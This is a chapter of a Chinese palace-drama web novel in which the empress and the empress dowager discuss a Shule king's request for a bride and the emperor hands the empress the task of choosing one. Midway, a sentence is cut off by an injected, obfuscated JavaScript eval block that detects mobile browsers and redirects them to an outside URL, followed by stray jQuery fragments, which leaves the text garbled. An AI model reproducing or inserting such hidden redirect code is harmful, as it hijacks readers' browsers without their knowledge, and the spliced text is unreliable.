次日晨间。


    元嘉梳洗完毕，独自坐在食案前用早膳。她近来胃口算不得上佳，算起来该是她进宫为光熹帝举丧那日起，便再未吃过一顿合乎口味的饭食。尚食居似乎惯在早膳时备些细软绵甜的糕点，元嘉却实在不算偏爱，每每只勉强入肚几口。


    燕景祁一早便回了宣政殿。今日是大朝会，又似乎有要紧的事情等着男人商议，是以不等尚食局提膳过来，燕景祁便先一步离开了。


    元嘉放下筷箸，前脚让人把食案撤下去，后脚便迎来了兴庆宫的访客——娄太后身边的兰佩。


    “……太后娘娘请您往兴庆宫走一趟，陪她老人家说说话呢！”


    兰佩站在元嘉跟前，笑盈盈道。


    “怎么好让母后来请，实在是咱们做晚辈的不是，”元嘉连忙起身，“予这便过去，只是……不知道母后是想说些什么事？”


    后一句，带着些许的试探。


    “殿下去了便知道了，”兰佩笑容不改，“想是要与您说什么要紧事吧。”


    要紧事？


    眼下还有什么要紧的事……


    元嘉迅速在脑子里搜刮了一圈，却无奈什么也想不起来。面上却如常，只随着兰佩缓步走出清宁宫。


    门口已备好了出行用的步辇，抬辇的内侍却不是清宁宫的人，只怕是兰佩自己带来的，又或许这就是从兴庆宫一路抬过来的。


    元嘉心中疑惑愈重，却也明白兰佩只是过来传话的，索性闭口不言，任由人抬着辇往兴庆宫而去。


    ……


    “皇后来了。”


    娄太后坐在临窗的软榻上，正拿了本册子细细翻看着什么，见元嘉从门外进来，遂将册子搁下，又笑着与元嘉说起话来。


    “母后康安。”


    元嘉朝娄太后微微一屈膝。


    “吾安。”娄皇后朝元嘉一招手，“好孩子，快过来坐下！”


    元嘉顺从起身，近前两步又坐在娄太后对面，“……不知是什么要紧事，竟让母后遣了兰佩来请？”


    娄太后没有立刻回答，只将手边的册子推了过去，“你先瞧瞧。”


    元嘉接过来，左右翻看了几页，有些不确定地抬眼，“是份礼单？可这上面写的东西，瞧着、倒像是外族才会有的……”


    “你猜的不错，这礼单是疏勒王君早前派人送来的。”


    娄太后再将册子拿回来，又随意掷在一旁。


    元嘉看着娄太后的动作，脑子里突然想起兰华曾经说过的话，脱口道：“这难道是他们为求娶公主所备的聘礼？”


    “看来皇后也听到一些风声了。”


    娄太后扫了元嘉一眼，嘴角却噙了抹笑。


    “儿臣惶恐。”元嘉神色一凛，“只是前些时候在先帝丧仪上瞧见了疏勒的两位王姬。适逢兰华姑姑在侧，便多问了两句……可惜也只知道有这么回事，前因后果却是一概不知的。”


    “本就该你知道的，倒也不妨事。”


    不是是否是元嘉的错觉，总觉得娄太后这句话里带了太多其他的情绪，“疏勒的队伍今日便要到京郊驿站了，这两日就会进城。他们此行的目的也确是想求娶一位公主，做他们新王君的可敦。”


    “……儿臣寡闻，”元嘉想起从欧阳沁嘴里听到的事情，“只知道疏勒从前的王君有一独子，那独子又早早地娶了三位妻子。却不知这新王君是谁，又是何时继位的？”


    “他们自己也乱的很呢，怪不得你不清楚，吾说与你听……”


    娄太后又变得和善起来，刻意放缓了语调，向元嘉娓娓道来。


    原是这疏勒奉行“兄终弟及”与“收继婚”之制，即兄长离世后，王位由其最年长的弟弟继承。兄长的妻子若还在世，则兄嫂亦须改嫁新王，为新王可敦。此二制在疏勒施行了百余年，却灭迹于上一代王君乌维的手里。


    乌维王是疏勒近几代王君中唯一有些真本事的，所以继位后便极力扩大部落领地，一并树立威慑，也才有了大周与疏勒之间冲突十余年的边境之争。


    乌维王在位近二十年，疏勒上下唯其马首是瞻，所言所行皆不敢置喙。乌维王娶了十几个妻子，却只活下来一个儿子。临到暮年，舍不得放权给下头的弟弟，又一心想让独子承继王位，于是囚禁屠戮了近十位异母兄弟，又烧死了对此事有异议的所有部臣，硬生生镇压了所有非议，将自己儿子扶上了位。


    “……所以，疏勒的这位新王君，便是乌维王的儿子，那个已经娶了三位妻子的独子？”


    元嘉拧眉道。


    “乌维王年前病逝，他儿子前脚坐上王位，疏勒后脚便闹起了内乱。”娄太后点头，又面露嘲讽之色，“若非如此，咱们前些时候又是水患又是时疫的，他们怎么会那么安静，不过是自己也在窝里斗罢了！”


    元嘉眼底微震。这些事情，她此前竟全然不知，如今听娄太后说起，方知自己是何等的浅见薄识……


    “这新王君要来我朝求娶公主，难不成是内乱已平？”


    元嘉抛下心中杂念，继续问道。


    “且闹着呢，上次疏勒大败便是因为这个新王君，如今死了那么多的部臣王族，也是因为这个新王君，那些人又怎么会乖顺地受他钳制呢？”


    “……那？”


    “老子是个有本事的，儿子却是个扶不起来的阿斗，”娄太后嗤笑一声，“那新王君趁着乌维王余威尚存，又还有遗部为他奔波的当头，以疏勒的名义，向我朝递了甘为属国的文书了。”


    元嘉有些微愣，像是被娄太后的话惊得震住了。


    “实在是蠢。”


    娄太后摇头道。


    蠢？


    元嘉回过神来，却觉得这人聪明极了。做儿子时，有能干的老子在上头替他撑腰，做王君时，又懂得抓住时机退让保全，借着求亲的名义反让大周替他坐稳王位，这何尝不是一种本事呢？


    只是……


    元嘉微垂着眼，心中莫名起了些思量。


    “母后。”


    二人正说着话，忽听身后传来一道熟悉的声音，燕景祁的身影紧跟着出现在屏风后头。


    元嘉旋即起身，正欲行礼，却被燕景祁抬手阻了一下，又挨着元嘉身侧坐了下来。


    娄太后颔首，“今日倒比往常下朝的时辰迟了些。”


    “疏勒的须卜王明日午后进城，入夜在麟德殿设宴接风，一应事宜已着礼部去办了。”燕景祁娓娓道，“至于此前说的求娶公主一事，人选倒暂无定论……”


    “他不过是我朝的手下败将，便是真要求娶，又如何能配得上一国公主？”


    娄太后平稳无波的声线下藏着几丝不悦，显然对疏勒、对须卜王生了不满之心。这也难怪……毕竟如今


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15656799|154513||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的一众公主里面，只余燕景璇一人适龄且未有婚配。自然，不会有人觉得疏勒配得上长公主出降，可前者此举无疑将燕景璇与外族的名字并于一列，可不就是在娄太后跟前讨嫌么！


    “自是不会降公主，”燕景祁亦是干脆，“只是要选哪家女子封作公主出降，朝臣们尚有诸多议论，莫衷一是。”


    元嘉闻言，眉心微动。


    “掖庭女子众多，选个宫女给他做可敦便是抬举了！”


    娄太后口气愈发尖锐，全然不似往昔淡然自若的样子，只怕是有人刻意在她面前说过些什么，又或是言语中牵扯到了燕景璇，这才惹得娄太后对疏勒求娶一事态度如此恶劣。


    “……须卜王此行当会滞留上京半月之久，出降的人选倒不必急于一时，徐徐图之即可。”


    燕景祁面色如常，并不因娄太后的话而变动分毫。


    娄太后沉默了一会儿，不复方才怫然模样，“这些日子，你阿姊倒时时陪在我的身边，偏她昨儿个在皇后册封礼后就回公主府了，竟叫我生出几分不习惯来。”


    “母后惦记阿姊，只管让阿姊时时进宫陪伴，只如今须卜王一行要来……都是些五短三粗的汉子，阿姊见了怕也堵心，索性等他们都走了，再让阿姊好生陪您。”


    燕景祁如是道。


    娄太后脸色略有好转，又意味不明地看了燕景祁一眼，方道：“还是景祁想的周到……行了，我也累了，就不多留你们了。”


    两人闻言，自是起身告退。


    出了兴庆宫，燕景祁也好，元嘉也罢，皆没有坐辇的意思，两人并肩走在长街之上，一时无言。


    “……方才怎么一句话都不说？”


    燕景祁微微侧头，朝元嘉问道。


    “疏勒的事情，我此前并不清楚，自然是闭口不言为好。”


    元嘉一面走着，一面将被风吹得有些凌乱的披帛拾掇齐整，对于燕景祁的问题，答得也有些漫不经心。


    “如今听完了，也出来了，就没有什么想说的？”


    燕景祁眉心微皱，又问道。


    元嘉这才仰头，盯着燕景祁光洁的侧脸看了又看，唔了一声方道：“我只是觉得……选掖庭女子出降未必是上佳的法子。”


    “为何？”


    元嘉很快又收回视线，两眼直视着前方，“如今疏勒势弱，新继位的王君也是个没大志向的……若只以寻常女子出降，虽可行，于我朝却无多大利处。”


    燕景祁这才舒展眉头，“那、依梓童之见呢？”


    元嘉怔了一下，才反应过来燕景祁口中的梓童是在称呼自己，眼底不由得透出几抹异色，但很快又答话道：“这个女子，要对大周有眷挂，要在心中有思谋，要去了疏勒……能凌驾于疏勒王君与疏勒众百姓之上。”


    “梓童所见，亦是朕之所见。”燕景祁停下脚步，“掖庭女子众多，燕氏宗亲里适龄的女子也有不少……让尚宫局把她们的名册都给你送来，你先看看。”


    “是。”


    元嘉亦停下脚步，垂目应下。


    “如此，朕就先回宣政殿处理其他事务了，疏勒可敦的人选，便辛苦皇后多费心了。”


    燕景祁满意地一颔首，申时安便会意走近，又指挥着内侍把步辇抬上前。


    元嘉目送着前者离开，这才改了方向，一行人往清宁宫而去。